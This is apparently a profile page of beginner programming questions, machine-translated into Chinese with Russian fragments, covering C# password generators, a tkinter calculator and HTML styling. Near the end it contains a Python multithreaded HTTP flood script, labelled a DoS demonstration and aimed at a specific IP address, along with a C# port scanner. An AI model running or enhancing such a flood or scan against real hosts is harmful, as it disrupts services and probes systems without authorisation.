Zekoyka's questions

有一个概念，在启动txt时会在包含文档的目录中创建一个文件。写токен在那里，下次运行时检查：

если файл существует - вывести сообщение или создать файл и записать в него токен

我确信一切都是正确的，但我不明白为什么会出现错误，他们说文件已经被另一个进程占用，并且不允许自己被写入/读取。

我的代码：

编辑

            var username = Environment.UserName;
            var date = Environment.TickCount;
            var id = Environment.UserName;

            string token_param = "123456789";
            int token_lenght = 6;
            string token_result = "";

            //Создание объекта для генерации чисел
            Random rnd = new Random();

            StreamWriter token = new StreamWriter("C:\\Users\\" + username + "\\Documents\\token.txt");

            int token_lng = token_param.Length;

            var path = "C:\\Users\\" + username + "\\Documents\\token.txt";
            var exist = File.Exists(path);
            Console.WriteLine(exist);

            if (exist == true)
            {
                string content = File.ReadAllText("C:\\Users\\" + username + "\\Documents\\token.txt");
                Console.WriteLine("Current content of file:");
                Console.WriteLine(content);
            }

            else if (exist == false)
            {
                for (int i = 0; i < token_lenght; i++)
                {
                    File.Create("C:\\Users\\" + username + "\\Documents\\token.txt");
                    token.Flush();
                    token_result += token_param[rnd.Next(token_lng)];
                    token.WriteLine(token_result);
                }
            }

            Console.WriteLine("\n {0}", token_result);

我的密码生成程序需要将每个生成的密码写入一个文本文件。

一切似乎都正确完成，但发生错误Cannot write to a closed TextWriter.ObjectDisposed_ObjectName_Name- 我不太明白原因。

StreamWriter sw = new StreamWriter("C:\\Users\\" + username +"\\Downloads\\passwords.txt");- 我创建StreamWriter了一个写入路径，然后在密码生成循环中，我将写入函数插入到文件中，根据想法：

1. 循环生成密码
2. 检查是否值得true写入文件 - 如果是，则写入 - 并关闭流。

但发生错误。

编辑：试图添加sw.Flush();但没有帮助。

for (int a = 0; a < colvo; a++)
                {
                    string password = GeneratePassword(dictionary, length);
                    if (save5 == true)
                    {
                        sw.WriteLine(password);
                        sw.Close();
                    }
                    Console.WriteLine(password);
                }
                Console.ReadKey();

怎么了？

所有代码：

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;


namespace PGC_by_Zekoyka
{

    class Program
    {
        private const int MF_BYCOMMAND = 0x00000000;
        public const int SC_CLOSE = 0xF060;
        public const int SC_MINIMIZE = 0xF020;
        public const int SC_MAXIMIZE = 0xF030;
        public const int SC_SIZE = 0xF000;

        [DllImport("user32.dll")]
        public static extern int DeleteMenu(IntPtr hMenu, int nPosition, int wFlags);

        [DllImport("user32.dll")]
        private static extern IntPtr GetSystemMenu(IntPtr hWnd, bool bRevert);

        [DllImport("kernel32.dll", ExactSpelling = true)]
        private static extern IntPtr GetConsoleWindow();

        static readonly IntPtr HWND_TOPMOST = new IntPtr(-1);
        static readonly IntPtr HWND_NOTOPMOST = new IntPtr(-2);
        static readonly IntPtr HWND_TOP = new IntPtr(0);
        const UInt32 SWP_NOSIZE = 0x0001;
        const UInt32 SWP_NOMOVE = 0x0002;
        const UInt32 SWP_NOZORDER = 0x0004;
        const UInt32 SWP_NOREDRAW = 0x0008;
        const UInt32 SWP_NOACTIVATE = 0x0010;
        const UInt32 SWP_FRAMECHANGED = 0x0020;
        const UInt32 SWP_SHOWWINDOW = 0x0040;
        const UInt32 SWP_HIDEWINDOW = 0x0080;
        const UInt32 SWP_NOCOPYBITS = 0x0100;
        const UInt32 SWP_NOOWNERZORDER = 0x0200;
        const UInt32 SWP_NOSENDCHANGING = 0x0400;

        [System.Runtime.InteropServices.DllImport("user32.dll")]
        static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);

        static bool save5 = true;
        static void Main(string[] args)
        {
            var username = Environment.UserName;
            var date = Environment.TickCount;
            Console.Title = "Password.Creator by Zekoyka | CONSOLE EDITION";

            IntPtr handle = GetConsoleWindow();
            IntPtr sysMenu = GetSystemMenu(handle, false);

            if (handle != IntPtr.Zero)
            {
                DeleteMenu(sysMenu, SC_MINIMIZE, MF_BYCOMMAND);
                DeleteMenu(sysMenu, SC_MAXIMIZE, MF_BYCOMMAND);
                DeleteMenu(sysMenu, SC_SIZE, MF_BYCOMMAND);
            }

            IntPtr ConsoleHandle = System.Diagnostics.Process.GetCurrentProcess().MainWindowHandle;
            const UInt32 WINDOW_FLAGS = SWP_SHOWWINDOW;

            SetWindowPos(ConsoleHandle, HWND_NOTOPMOST, 0, 0, 500, 350, WINDOW_FLAGS);

            List<string> list = new List<string>();

            StreamWriter sw = new StreamWriter("C:\\Users\\" + username +"\\Downloads\\passwords.txt");

            while (true)
            {
                Console.Write("\n Кол-во генерируемых паролей: ");
                int colvo = Convert.ToInt32(Console.ReadLine());

                Console.Write("\n Длина пароля: ");
                int length = Convert.ToInt32(Console.ReadLine());

                Console.Write("\n Пароль с буквами верхнего регистра (ABC)? [Y/N]: ");
                string opinion0 = Console.ReadLine();
                if (opinion0 == "Y" || opinion0 == "y")
                {
                    list.Add(GetRangeString('A', 26)); // ABCDEFGHIJKLMNOPQRSTUVWXYZ
                }

                Console.Write("\n Пароль с буквами нижнего регистра (abc)? [Y/N]: ");
                string opinion1 = Console.ReadLine();
                if (opinion1 == "Y" || opinion1 == "y")
                {
                    list.Add(GetRangeString('a', 26)); // abcdefghijklmnopqrstuvwxyz
                }

                Console.Write("\n Пароль с цифрами (123)? [Y/N]: ");
                string opinion2 = Console.ReadLine();
                if (opinion2 == "Y" || opinion2 == "y")
                {
                    list.Add(GetRangeString('0', 10)); // 0123456789
                }

                Console.Write("\n Пароль с символами (123)? [Y/N]: ");
                string opinion3 = Console.ReadLine();
                if (opinion3 == "Y" || opinion3 == "y")
                {
                    list.Add(@"`~!@#$%^&*(@)-_=+[];:{}\|/.,<>№"); // `~!@#$%^&*(@)-_=+[];:{}\|/.,<>№
                }

                string dictionary = string.Concat(string.Concat(list).Distinct());

                for (int a = 0; a < colvo; a++)
                {
                    string password = GeneratePassword(dictionary, length);
                    if (save5 == true)
                    {
                        sw.WriteLine(password);
                        sw.Close();
                    }
                    Console.WriteLine(password);
                }
                Console.ReadKey();
            }
        }

        private static string GeneratePassword(string dictionary, int length)
        {
            Random rnd = new Random();
            return string.Concat(Enumerable.Repeat(0, length).Select(_ => dictionary[rnd.Next(dictionary.Length)]));
        }

        private static string GetRangeString(char first, int length)
        {
            return string.Concat(Enumerable.Range(first, length).Select(c => (char)c));
        }
    }
}

密码生成器程序。有一个选择——添加密码символами。我创建了一个将数据写入自身的变量，textBox2.Text然后在循环中执行生成。但是会发生错误Ошибка CS0029 Не удается неявно преобразовать тип "char" в "string".。

我尝试将char输入数据转换为变量，但没有帮助。告诉我如何正确地做。

我也想混合这两个结果（这样它们混合起来，输出密码更可靠），告诉我如何实现它。

编码：

    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            string data = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
            char symbols = Convert.ToChar(textBox2.Text);
            int lon = (int)numericUpDown1.Value;
            string result = "";
            string result_symbols = "";
            Random rnd = new Random();
            int lng = data.Length;
            int lng2 = data.Length;



            for (int i = 0; i < lon; i++)
            {
                result_symbols = Convert.ToChar(symbols[rnd.Next(lng)]);
                result += data[rnd.Next(lng)];
            }

            textBox1.Text = result;
        }
    }

程序截图：

我在网上找到它генератор паролей，决定修改它，但结果它是在 2010 年制作的，当时有不同的语言版本。

这是程序代码：

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace PasswordCreatorByZekoyka
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            string dic = "";
            string tmp = "";
            if (checkBox1.Checked)
            {
                char nchar;
                for (int i = 65; i < 91; i)
                {
                    nchar = (char)i;
                    tmp = Convert.ToString(nchar);
                }
                dic = tmp;
            }
            if (checkBox2.Checked) dic = "0123456789";
            if (checkBox3.Checked) dic = textBox2.Text;
            if (checkBox4.Checked)
            {
                tmp = "";
                char nchar;
                for (int i = 97; i < 123; i)
                {
                    nchar = (char)i;
                    tmp = Convert.ToString(nchar);
                }
                dic = tmp;
            }
            string pass = "";
            Random mran = new Random();
            for (int i = 0; i < numericUpDown1.Value; i)
            {
                int index = Convert.ToUInt16(mran.NextDouble() * dic.Length) % dic.Length;
                char ScharS = dic[index];
                pass = Convert.ToString(ScharS);
            }
            textBox1.Text = pass;
        }
    }
}

但是有一个错误，其根源我无法理解。

Ошибка CS0201 В качестве оператора могут использоваться только выражения назначения, вызова, инкремента, декремента и создания нового объекта.

请帮帮我。

我有一个小表格，有时我必须将几个值绑定到一个单元格，一个名称 - 所以，据我了解，与名称组合的大表格Name仍然认为有两行，所以问题是如何将文本准确地放在单元格中，以便它在视觉上Name准确地位于中心，并且它似乎没有被刻在第一行中。

计算器有一个按钮удаления последнего введеного символа。我想通过调用将删除label1最后一个字符的函数来实现它。

我正在尝试使其成为标准，[:-1]但由于某种原因它不起作用，我以同样的方式尝试了它return label1["text"] [:-1]。但它不出来。

这是代码（函数def last_sim():）：

from tkinter import *
import math
#from tkinter.ttk import Radiobutton


window = Tk()
window.title("Calculator")
oper=["+","-","*","/"]
number = IntVar()
window.geometry('350x250')
global operand1, lastop, lastres
lastop=0
operand1=0
lastres=0

def add():
    
    label1["text"] =   label1["text"] + str(number.get())
    label2["text"] =   label2["text"] + str(number.get())
    
def op():
    global operand1
    global lastop
    operand1=int(label1["text"])
    label1["text"] = ""
    lastres=operand1
    lastop=number.get()
    
    label2["text"] =   label2["text"] + label1["text"]
    label2["text"] =   label2["text"] + oper[lastop-11]
    #if lastres!=0:
        #operand1+=lastres
        #print("Увеличили операнд1", operand1)
        #lastres=0
    if lastop==11:
        print("lastres= ",lastres,"operand1= ",operand1)
        lastres+=operand1
        operand1+=int(label1["text"])
        print("lastres= ",lastres,"operand1= ",operand1)
def vyvod():
    global operand1
    global lastop
    global lastres
    
    if lastop==11:
        operand1+=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    if lastop==12:

        operand1-=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    elif lastop==13:    
        operand1*=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    elif lastop==14:    
        operand1/=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]
    else:
        print("Ошибка в операции")

def koren():
        operand1 = math.sqrt(int(label1["text"])) 
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]
      
def clean():
     global operand1
     global lastop
     global lastres
     operand1=0
     lastop=0
     lastres=0
     label1["text"] = ""
     label2["text"] = ""

def last_sim():
    return label1["text"] [:-1]


btn1=Radiobutton(window,indicatoron=0,text="1",width=2,variable=number,value=1,command=add,bg="lightgreen")
btn2=Radiobutton(window,indicatoron=0,text="2",width=2,variable=number,value=2,command=add,bg="lightgreen")
btn3=Radiobutton(window,indicatoron=0,text="3",width=2,variable=number,value=3,command=add,bg="lightgreen")
btn4=Radiobutton(window,indicatoron=0,text="4",width=2,variable=number,value=4,command=add,bg="lightgreen")
btn5=Radiobutton(window,indicatoron=0,text="5",width=2,variable=number,value=5,command=add,bg="lightgreen")
btn6=Radiobutton(window,indicatoron=0,text="6",width=2,variable=number,value=6,command=add,bg="lightgreen")
btn7=Radiobutton(window,indicatoron=0,text="7",width=2,variable=number,value=7,command=add,bg="lightgreen")
btn8=Radiobutton(window,indicatoron=0,text="8",width=2,variable=number,value=8,command=add,bg="lightgreen")
btn9=Radiobutton(window,indicatoron=0,text="9",width=2,variable=number,value=9,command=add,bg="lightgreen")
btn0=Radiobutton(window,indicatoron=0,text="0",width=2,variable=number,value=0,command=add,bg="lightgreen")

     
btn11=Radiobutton(window,indicatoron=0,width=2,text="+",variable=number,value=11,command=op,bg="lightblue")
btn12=Radiobutton(window,indicatoron=0,width=2,text="-",variable=number,value=12,command=op,bg="lightblue")
btn13=Radiobutton(window,indicatoron=0,width=2,text="*",variable=number,value=13,command=op,bg="lightblue")
btn14=Radiobutton(window,indicatoron=0,width=2,text="/",variable=number,value=14,command=op,bg="lightblue")

btn15=Radiobutton(window,indicatoron=0,width=2,text="=",variable=number,value=15,command=vyvod)
btn16=Radiobutton(window,indicatoron=0,width=2,text="C",variable=number,value=16,command=clean,bg="red")
btn17=Radiobutton(window,indicatoron=0,width=2,text="√",variable=number,value=17,command=koren,bg="lightblue")
btn18=Radiobutton(window,indicatoron=0,width=2,text="DL",variable=number,value=18,command=last_sim,bg="red")


btn1.grid(row=0, column=0)
btn2.grid(row=0, column=1)
btn3.grid(row=0, column=2)
btn4.grid(row=1, column=0)
btn5.grid(row=1, column=1)
btn6.grid(row=1, column=2)
btn7.grid(row=2, column=0)
btn8.grid(row=2, column=1)
btn9.grid(row=2, column=2)
btn0.grid(row=3, column=1)
btn11.grid(row=0, column=3)
btn12.grid(row=1, column=3)
btn13.grid(row=2, column=3)
btn14.grid(row=3, column=3)
btn15.grid(row=4, column=3)
btn16.grid(row=3, column=0)
btn17.grid(row=3, column=3)
btn18.grid(row=3, column=2)    


frame = Frame(master=window, height=1, borderwidth=5,bg="red")
frame.grid(row=4, column=0,columnspan=3)

label1 = Label(master=window, width=15, height=1,text="", bg="yellow")
label1.grid(row=4, column=0,columnspan=3,pady=10)

label2 = Label(master=window, width=15, height=1,text="", bg="yellow")
label2.grid(row=5, column=0,columnspan=6,sticky = W)

window.mainloop()

有一个程序，这是一个计算器。任务是添加一个按钮，该按钮将从输入中提取根。我添加了一个按钮，但我不知道如何提取根，我尝试使用该功能但没有成功，我只是尝试了提取运算符math-我也不想。按钮 17。告诉我怎么做。math.sqrt()**

UPD：我正在尝试制作一个由按钮调用的函数，它也不想这样做，

这是计算器代码：

from tkinter import *
import math
#from tkinter.ttk import Radiobutton


window = Tk()
oper=["+","-","*","/"]
number = IntVar()
window.geometry('200x250')
global operand1, lastop, lastres
lastop=0
operand1=0
lastres=0

def add():
    
    label1["text"] =   label1["text"] + str(number.get())
    label2["text"] =   label2["text"] + str(number.get())
    
def op():
    global operand1
    global lastop
    operand1=int(label1["text"])
    label1["text"] = ""
    lastres=operand1
    lastop=number.get()
    
    label2["text"] =   label2["text"] + label1["text"]
    label2["text"] =   label2["text"] + oper[lastop-11]
    #if lastres!=0:
        #operand1+=lastres
        #print("Увеличили операнд1", operand1)
        #lastres=0
    if lastop==11:
        print("lastres= ",lastres,"operand1= ",operand1)
        lastres+=operand1
        operand1+=int(label1["text"])
        print("lastres= ",lastres,"operand1= ",operand1)
def vyvod():
    global operand1
    global lastop
    global lastres
    
    if lastop==11:
        operand1+=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    if lastop==12:

        operand1-=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    elif lastop==13:    
        operand1*=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    elif lastop==14:    
        operand1/=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    elif lastop==17:    
        operand1**=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]
    else:
        print("Ошибка в операции")

def koren():
        operand1=int(label1(math.sqrt(["text"])))
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]
      
def clean():
     global operand1
     global lastop
     global lastres
     operand1=0
     lastop=0
     lastres=0
     label1["text"] = ""
     label2["text"] = ""
     
btn1=Radiobutton(window,indicatoron=0,text="1",width=2,variable=number,value=1,command=add,bg="lightgreen")
btn2=Radiobutton(window,indicatoron=0,text="2",width=2,variable=number,value=2,command=add,bg="lightgreen")
btn3=Radiobutton(window,indicatoron=0,text="3",width=2,variable=number,value=3,command=add,bg="lightgreen")
btn4=Radiobutton(window,indicatoron=0,text="4",width=2,variable=number,value=4,command=add,bg="lightgreen")
btn5=Radiobutton(window,indicatoron=0,text="5",width=2,variable=number,value=5,command=add,bg="lightgreen")
btn6=Radiobutton(window,indicatoron=0,text="6",width=2,variable=number,value=6,command=add,bg="lightgreen")
btn7=Radiobutton(window,indicatoron=0,text="7",width=2,variable=number,value=7,command=add,bg="lightgreen")
btn8=Radiobutton(window,indicatoron=0,text="8",width=2,variable=number,value=8,command=add,bg="lightgreen")
btn9=Radiobutton(window,indicatoron=0,text="9",width=2,variable=number,value=9,command=add,bg="lightgreen")
btn0=Radiobutton(window,indicatoron=0,text="0",width=2,variable=number,value=0,command=add,bg="lightgreen")

     
btn11=Radiobutton(window,indicatoron=0,width=2,text="+",variable=number,value=11,command=op,bg="lightblue")
btn12=Radiobutton(window,indicatoron=0,width=2,text="-",variable=number,value=12,command=op,bg="lightblue")
btn13=Radiobutton(window,indicatoron=0,width=2,text="*",variable=number,value=13,command=op,bg="lightblue")
btn14=Radiobutton(window,indicatoron=0,width=2,text="/",variable=number,value=14,command=op,bg="lightblue")

btn15=Radiobutton(window,indicatoron=0,width=2,text="=",variable=number,value=15,command=vyvod)
btn16=Radiobutton(window,indicatoron=0,width=2,text="C",variable=number,value=16,command=clean,bg="red")
btn17=Radiobutton(window,indicatoron=0,width=2,text="√",variable=number,value=17,command=koren,bg="lightblue")
btn18=Radiobutton(window,indicatoron=0,width=2,text="DL",variable=number,value=18,command=clean,bg="red")


btn1.grid(row=0, column=0)

btn2.grid(row=0, column=1)
btn3.grid(row=0, column=2)

btn4.grid(row=1, column=0)
btn5.grid(row=1, column=1)
btn6.grid(row=1, column=2)

btn7.grid(row=2, column=0)
btn8.grid(row=2, column=1)
btn9.grid(row=2, column=2)
btn0.grid(row=3, column=1)

btn11.grid(row=0, column=3)

btn12.grid(row=1, column=3)
btn13.grid(row=2, column=3)
 
btn14.grid(row=3, column=3)
btn15.grid(row=3, column=4)
btn16.grid(row=3, column=0)
btn17.grid(row=3, column=4)
btn18.grid(row=3, column=2)          
frame = Frame(master=window, height=1, borderwidth=5,bg="red")
frame.grid(row=4, column=0,columnspan=3)

label1 = Label(master=window, width=15, height=1,text="", bg="yellow")
label1.grid(row=4, column=0,columnspan=3,pady=10)

label2 = Label(master=window, width=30, height=1,text="", bg="yellow")
label2.grid(row=5, column=0,columnspan=6,sticky = W)

window.mainloop()

我在做 Python 作业时遇到了问题。

该程序的本质是创建一个包含用户数据及其密码的文本文件。并在程序本身中，进一步编辑和更改数据（删除、创建新用户）。

但我不能写下和删除列表中的行。我很困惑，很难理解如何解决问题，请帮助并解释我做错了什么。

这是我的程序代码。

parol=""
passw=["90232","Soroka5","346129S"]
names=["Sasha","Nikita","Nikolai"]
    

my_file = open("data.txt", "w+")

def registration(passw,names):
    newparol=""
    while newparol !="R" :
        newparol=input("Введите новое имя: ")
        if newparol in names:
            print("Такое имя уже есть, предложите другое. \n : ")
            continue
        names.append(newparol)
        newlogin= input("Введите пароль: ")
        passw.append(newlogin)
        #control.update(newparol)
        print(passw)
        print(names)
        f = open('data.txt', 'wt')
        for s in passw:
            f.write(s + '\n')
        for s in names:
            f.write(s + '\n')
        return passw,names


def udal(passw,names):
    print("\nСписок пользователей: \n")
    print("Пароль: ", passw)
    print("Логин: ", names)
    newname=""
    while newname !="X" :
        newname=input(" Введите логин для удаления. (Или X что бы вернутся в меню.)\n : ")
    if newname in names :
        numb=names.index(newname)
        f = open('data.txt', 'w')
        
        print("Удаленно!")
        names.remove(newname)
        passw.pop(numb)
        print(passw)
        print(names)
    else:
        print("Такого имени нет. ")
    return passw,names

while parol!="X":
    parol= input(" Добро пожаловать. \n Введите X для завершения работы.\n Или введите R для создания нового пользователя. \n Введите D - что бы удалить существующего пользователя. \n Или введите свой пароль что бы войти. \n :  ")
    if parol=="R" :
       registration(passw,names)
       continue
    elif parol=="D":
        udal(passw,names)
        continue
    elif parol=="X":
        break
    elif parol in passw:
        numb=control.index(parol)    
        person=names[numb]
        print("\nПоздравляю! ", person, " - Вы в системе.")
         
    else:
        print("Ошибка в пароле. Похоже такого не существует.")
        
input("\n Досвидания!")

有一个小程序，一个简单的记事本。

但是当我想通过按“Tab”键来换行时，有一个“微错误”，即制作一个水平制表符而是跳转到按钮。如何解决？

有一个愿望是创造一个循环，在这个循环中，数字将乘以 2 和很多倍。

像这样，2 > 4 > 8 > 16 > 32 > 64 > 128 > 256 > 512 > 1024按那个顺序。

但我不确定如何做到这一点。看来根据我的代码，变量a有初始值1，应该乘以2写入变量b，变量本身b也应该乘以2，如此循环。

        static void Main(string[] args)
        {
            Console.Title = "code";
            for (int a = 1; a < 16; a++)
            {
                int b;
                b = a * 2;
                Console.Write(" " + b * 2);
            }
            Console.ReadKey();
        }

但是有一些混乱，只是简单地将 4 添加到数字中。

我不知道如何正确地将循环中的值相乘，请告诉我。

我想给文字上色。这里是风格。

        <style>
            body{
                background-color:rgb(54, 54, 54);
            }
            p {
                background-color:rgb(0, 0, 0);
                font-family:monospace;
                color: rgb(19, 230, 11); /* Цвет текста */
            }

        </style>

但是由于某种原因，文本的背景是разъезжается字段的整个长度。

如何解决？

using System;
using System.Threading;

namespace new_time
{
    class Program
    {
        static void Main(string[] args)
        {
            int bit = 1; // обьявление + присовение значения переменной
            for (int a = 0; a < 100; a++) // цикл
            {
                    int new_bit = bit * 2; // умножение на 2
                    Console.WriteLine(new_bit); // вывод результата
            }
            Console.ReadKey(); // что бы не закрывалась
        }
    }
}

该程序的目的是打印乘以 2 的值。变量bit最初1。在循环中，想法应该乘以2。等每次来值100。

我指望同样的结论。

2
4
8
16
32
64

告诉我出了什么问题，以及为什么它只显示了我的价值2。

我想在 label1 中显示有关处理器的信息。

但是出现错误

无法将类型“System.Collections.Generic.List”隐式转换为“字符串”

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Management;
using System.Diagnostics;

namespace simple
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private static List<string> GetHardwareInfo(string WIN32_Class, string ClassItemField)
        {
            List<string> result = new List<string>();

            ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM " + WIN32_Class);

            try
            {
                foreach (ManagementObject obj in searcher.Get())
                {
                    result.Add(obj[ClassItemField].ToString().Trim());
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }

            return result;
        }



        private void Form1_Load(object sender, EventArgs e)
        {
            List<string> process = GetHardwareInfo("Win32_Processor", "Name");
            label2.Text = process;
        }

这是为什么？怎么修？

我想为文本添加背景。

大概是这样的计划。创建了与它相同的样式。

.uniform-bg {
background:black;
position:absolute;
-moz-outline-offset:-0.04em;
}
 
.uniform-bg span {
position:absolute;
}

但是当试图使用style="text-align: center;"- 它不想要居中的文本时。我无法弄清楚问题是什么。

这是代码。

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>com</title>
    
</head>
<style>
        .fig {
            text-align: center; /* Выравнивание по центру */ 
        }
           .stroke {
            font: 2em Arial, sans-serif;
            text-shadow: red 0 0 4px;
        }
           .light {
            text-shadow: #5dc8e5 0 0 10px; /* Свечение голубого цвета */
            color: #0083bd;
        }
            .dark {
            text-shadow: red 0 0 10px; /* Свечение красного цвета */
        }
        
        .text {
            background-color: #000;
            color: #FFFFFF;
            display: inline;
            white-space: pre-wrap;
            padding: 3px 7px;
            padding-left: 0px;
            box-shadow: -7px 0 0 #000;
            }
            
        .fon {
            font: bold 3em Arial, sans-serif;
            color: #f0f0f0; /* Цвет текста, совпадает с цветом фона */
            text-shadow: #fff -1px -1px 0, 
            #333 3px 3px 0;
        }
        
        .layer {
            background: #fc3; /* Цвет фона */
            border: 0px solid black;  /* Параметры рамки */
            padding: 5px; /* Поля вокруг текста */
        }

        .uniform-bg {
        background:black;
        position:absolute;
        -moz-outline-offset:-0.04em;
        }
 
        .uniform-bg span {
        position:absolute;
        }
        
</style>

    <body>
    <body background="">
    <h1 class="stroke" style="text-align: center;"><font size="6" color="white" face="monospace">W123</h1>
    <h2><span class="uniform-bg" style="text-align: center;"><font size="6" color="white" face="monospace"><span>23e2423424324</span></span></h2>
    </body>

    
</html>

我想把所有的线尽可能地靠近。

dline 类没有帮助。

   p.dline {
    line-height: 0.1;
   }
   P {
    line-height: 0.1em;
   }

 <div class="text">
    <p class ="stroke"><font size="6" color="white" face="IMPACT"</font>Привет. Это мой первый сайт над которым я работал в течении 30-40 минуты</p> 
    <p class ="stroke"><font size="6" color="white" face="IMPACT"</font>пока мой приятель ходил в магазин и ехал домой.</p>

我想一次将三种样式应用于文本。

<p class ="stroke"><p class="dline"><font size="6" color="white" face="IMPACT"</font>пока мой приятель ходил в магазин и ехал домой.</p>

这就是它不像我上面那样工作的原因。如何正确指定文本的样式？

这是我想要应用的样式。

  <style>
   .stroke {
    font: 2em Arial, sans-serif;
    text-shadow: black 1px 1px 0, black -1px -1px 0, 
                 black -1px 1px 0, black 1px -1px 0;
   }

  .text {
    text-align:  center;
   }

   p.dline {
    line-height: 1.5;
   }
   P {
    line-height: 0.9em;
   }

  </style>

// работа на тему Информационная безопасность
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp3
{
    class Program
    {
        private static string IP = "";

        static void Main(string[] args)
        {
            Console.Title = "PortScanner";
            UserInput();
            PortScan();
            Console.ReadKey();
        }

        private static void UserInput()
        {
            Console.Write("IP Address:", ConsoleColor.White);
            IP = Console.ReadLine();
        }

        private static void PortScan()
        {
            Console.Clear();
            TcpClient Scan = new TcpClient();
            foreach (int s in Ports)
            {
                try
                {
                    Scan.Connect(IP, s);
                    Console.WriteLine($"[{s}] | OPEN", ConsoleColor.Green);
                }
                catch
                {
                    Console.WriteLine($"[{s}] | CLOSED", ConsoleColor.Red);
                }
            }
        }

        private static int[] Ports = new int[]
        {
        1,
        2,
        3,
        80,
        };

    }
}

        

扫描指定IP上的端口很长时间很长时间。如何加快进程？

如何在一行中指定端口？（这样输入很愚蠢，用逗号分隔）

发送数据包时出错。

import threading
import socket

target = '95.163.181.222'
port = 80
fake_ip = '182.253.21.34'


# показательная версия работы DoS атак

def attack():
    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.sendto(("GET /" + target + "HTTP/1.1\r\n").encode('ascii'), (target, port))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
        s.close()

        global already_connected
        already_connected += 1
        if already_connected % 500 == 0:
            print(already_connected)


for i in range(500):
    thread = threading.Thread(target=attack)
    thread.start()

string pass1 = "123456789";
string pass2 = "QWERTYUIOPASDFGHJKLZXCVBNM";

如何从给定的数字和字符生成一定长度的密码？让他们一个接一个，字母>数字。

画出这样的东西：Q2S4F9R3K2J8E1

使用Random rnd = new Random(0);？

如何授予应用程序访问文件夹的权限？

        Console.Write("Enter your name: ");
        string m = Convert.ToString(Console.ReadLine());
        marks.Add(m);
        using (var fs = new FileStream("c:\\temp.xml", FileMode.Create))
        new XmlSerializer(marks.GetType()).Serialize(fs, marks);